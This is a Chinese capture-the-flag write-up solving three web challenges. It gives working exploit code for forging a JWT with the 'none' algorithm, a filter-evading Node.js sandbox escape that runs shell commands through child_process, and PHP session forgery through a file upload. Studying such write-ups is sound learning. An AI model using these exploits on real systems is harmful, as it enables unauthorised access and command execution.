easy_login
/static/js/app.js
中有hint提示这个web使用koa-static 来处理静态文件
猜测存在koa路由配置错误导致根目录的任意文件读取。我们直接读取app.jpg
http://dafd014be0114c23bd9aa2e1a84d01ea772d377a8e974ab5.changame.ichunqiu.com/app.js
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');
const crypto = require('crypto');
const { resolve } = require('path');
const rest = require('./rest');
const controller = require('./controller');
const PORT = 80;
const app = new Koa();
app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];
app.use(static(resolve(__dirname, '.')));
app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));
app.use(session({key: 'sses:aok', maxAge: 86400000}, app));
// parse request body:
app.use(bodyParser());
// prepare restful service
app.use(rest.restify());
// add controllers:
app.use(controller());
app.listen(PORT);
console.log(`app started at port ${PORT}...`);
根据代码我们知道还有rest.js
和controller.js
module.exports = {
APIError: function (code, message) {
this.code = code || 'internal:unknown_error';
this.message = message || '';
},
restify: () => {
const pathPrefix = '/api/';
return async (ctx, next) => {
if (ctx.request.path.startsWith(pathPrefix)) {
ctx.rest = data => {
ctx.response.type = 'application/json';
ctx.response.body = data;
};
try {
await next();
} catch (e) {
ctx.response.status = 400;
ctx.response.type = 'application/json';
ctx.response.body = {
code: e.code || 'internal_error',
message: e.message || ''
};
}
} else {
await next();
}
};
}
};
const fs = require('fs');
function addMapping(router, mapping) {
for (const url in mapping) {
if (url.startsWith('GET ')) {
const path = url.substring(4);
router.get(path, mapping[url]);
} else if (url.startsWith('POST ')) {
const path = url.substring(5);
router.post(path, mapping[url]);
} else {
console.log(`invalid URL: ${url}`);
}
}
}
function addControllers(router, dir) {
fs.readdirSync(__dirname + '/' + dir).filter(f => {
return f.endsWith('.js');
}).forEach(f => {
const mapping = require(__dirname + '/' + dir + '/' + f);
addMapping(router, mapping);
});
}
module.exports = (dir) => {
const controllers_dir = dir || 'controllers';
const router = require('koa-router')();
addControllers(router, controllers_dir);
return router.routes();
};
可以看到controllers
应该还还存在api.js
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
这道题其实是原题,jwt伪造问题和[AngstromCTF 2019]Cookie Cutter一样。
首先我们来了解一下JWT的构成:
JWT例子:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInBhc3N3b3JkIjoiYWRtaW4iLCJyb2xsZWQiOiJubyIsImlhdCI6MTU4NzM1MTY0MX0.ljkr86K_y88GP8_9RBzxB2H8CBEK73tNdfDQwmT2eaY
其实它是以点为界分为三部分。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInBhc3N3b3JkIjoiYWRtaW4iLCJyb2xsZWQiOiJubyIsImlhdCI6MTU4NzM1MTY0MX0
ljkr86K_y88GP8_9RBzxB2H8CBEK73tNdfDQwmT2eaY
第一部分我们成为头部、第二部分我们称为payload,第二部分我们称之为签证。
- 头部构成主要由两部分,typ声明类型,alg声明加密类型,最后base64编码:
- payload
- 签证由三部分组成
- 头(header)basee64
- payload base64
- secret
- 签证拿到上述东西后通过header中加密方式加盐的方式加密形成了签证。
了解JWT的组成后,我们总结JWT可能存在如下的安全问题:
1.修改头什么的算法为none
2.若secret较短可以直接使用c-jwt-cracker
3.秘钥泄露
3.修改算法RS256为HS256
在这道题中明显是修改算法为none进行绕过
构造jwt编写脚本
const crypto = require('crypto');
const jwt = require('jsonwebtoken');
secretid=0.5;
username="admin";
password="admin";
rolled="no"
const secret = crypto.randomBytes(18).toString('hex');
const token = jwt.sign({secretid, username, password,rolled}, secret, {algorithm: 'none'});
console.log(token);
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString());
console.log(sid)
这里绕过需要有一个小trick,先注册一个账号然后再提交上面生成的JWT。SID绕过可以是””或者大于零小于1的数。这是为什么呢。
首先要绕过sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0
j就不能让global.secrets
这个数组为undefined
,我们需要注册一个账号是的其初始化。
其次为什么小于1大于零0呢,我们需要一个global.secrets
的值为null,但是如果是0的话就是我们注册那个了,这样的话就会提示需要签名,如果是大于1小于零正好可以绕过第一层检测并且使得值为null。当然如果你注册的账号够多大于1也是可以的。还有就是可以使用空字符串进行绕过,空数组也行,因为nodejs中弱类型比较的关系这个会在下一个文章中重点研究。
最终获得flag:
just_escape
原题nodejs沙箱逃逸,但是对许多函数进行了过滤。
和题中一个操作在issue中一样我们找最新的版本的exp来测试。
(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
})()
但是自己打进去会发现是不行的。我们可以fuzz这个payload有哪些内容是被过滤的。process, exec, eval, constructor, prototype, Function, 加号, 双引号, 单引号被过滤.这里我们可以用模板字符串进行绕过,而属性可以用[模板字符串]代替,而单引号双引号可以用反引号代替。
`${`${`return proces`}s`}`
最后修改得:
(function(){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()
BabyUpload
题目直接给了源码:
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
我们直接来看如何能拿到flag;代码中可以看到,首先我们session
必须得是admin
其次必须存在success.txt
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
我们再看第二部分上传的代码,这里有四个重要参数,
direction=upload
attr
可以对上传路径产生影响上传的 field是up_file
最后一点是上传文件名会拼接上文件内容本身的sha256,即
$file_path .= “_”.hash_file(“sha256”,$_FILES[‘up_file’][‘tmp_name’]);
同时这里已经锁死目录在/var/babyctf/
,代码已经对目录是否穿越进行了检查。而这个上传的目录正好又是我们session的存储位置代码开头就设置了session存储目录
session_save_path(“/var/babyctf/“);
那我们能不能上传一个session对session进行修改呢?我们看他会将文件本身的名字拼接_sha256(file)
,那么我们计算出这个sha256把上传文件名改为sess不就变成一个session文件了。我们再修改cookie就能达到getflag的目的。
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
}
我们再看最后一部分下载的代码,这段代码很简单,直接direction=download并且post一个filename上去就能下载。这里我们可以直接读取当前session看看这个session是什么类型。
elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
可以看到,这个session是php_binary类型
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
那么我们据此生成一个session文件
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("C:\\Users\\51763\\Desktop\\");
session_start();
$_SESSION['username'] = 'admin';
?>
我们构造表单去上传这个文件,上传时候注意文件名改成sess
<html>
<body>
<form action="http://fd32890b-1f94-4728-9e56-1261066852d8.node3.buuoj.cn/" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="hidden" name="direction" value="upload" />
<input type="hidden" name="attr" value="success.txt" />
<input type="file" name="up_file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
我们计算这个文件的sha256值是:432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
我们再读取文件看看,是否上传成功。上传成功后将arr参数改成success.txt再上传一次,因为file_exists($filename)检测的是文件或文件夹是否存在,这我们只要建一个文件夹即可。
直接修改PHPSESSID=432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
直接出来flag